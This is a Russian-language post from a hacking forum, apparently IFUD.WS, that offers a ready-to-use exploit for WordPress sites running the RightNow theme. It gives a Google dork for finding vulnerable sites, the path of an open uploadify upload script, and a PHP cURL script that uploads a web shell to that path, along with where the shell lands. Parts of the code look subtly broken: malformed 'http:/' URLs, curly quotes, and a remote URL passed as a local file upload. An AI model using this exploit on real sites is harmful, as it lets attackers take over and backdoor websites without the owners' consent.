1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Взлом WP - RightNow баг

Тема в разделе "Веб-Уязвимости | Эксплуатация", создана пользователем DarkKnight, 26 июн 2016.

  1. TopicStarter Overlay
    DarkKnight

    DarkKnight

    Регистрация:
    1 июн 2016
    Сообщения:
    126
    Симпатии:
    144
    Для начало ищем в гугле inurl:wp-content/themes/RightNow/
    потом чекаем site.ru/wp-content/themes/RightNow/includes/uploadify/upload_settings_image.php
    если загрузчик открыт то загружает туда такой файл

    Код:
    <?php
    $uploadfile="http:/yousite.ru/shelli.php";
    $ch=curl_init("http:/site.ru/site/wp-content/themes/RightNow/includes/uploadify/upload_settings_image.php");
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS,
            array(’Filedata’=>"@$uploadfile"));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $postResult = curl_exec($ch);
    curl_close($ch);
    print "$postResult";
    ?>
    http:/yousite.ru/shelli.php - путь где хранится ваш шелл
    шелл загрузится сюда wp-content/uploads/settingsimages/shell.php
     
    • Like Like x 1

Поделиться этой страницей

Загрузка...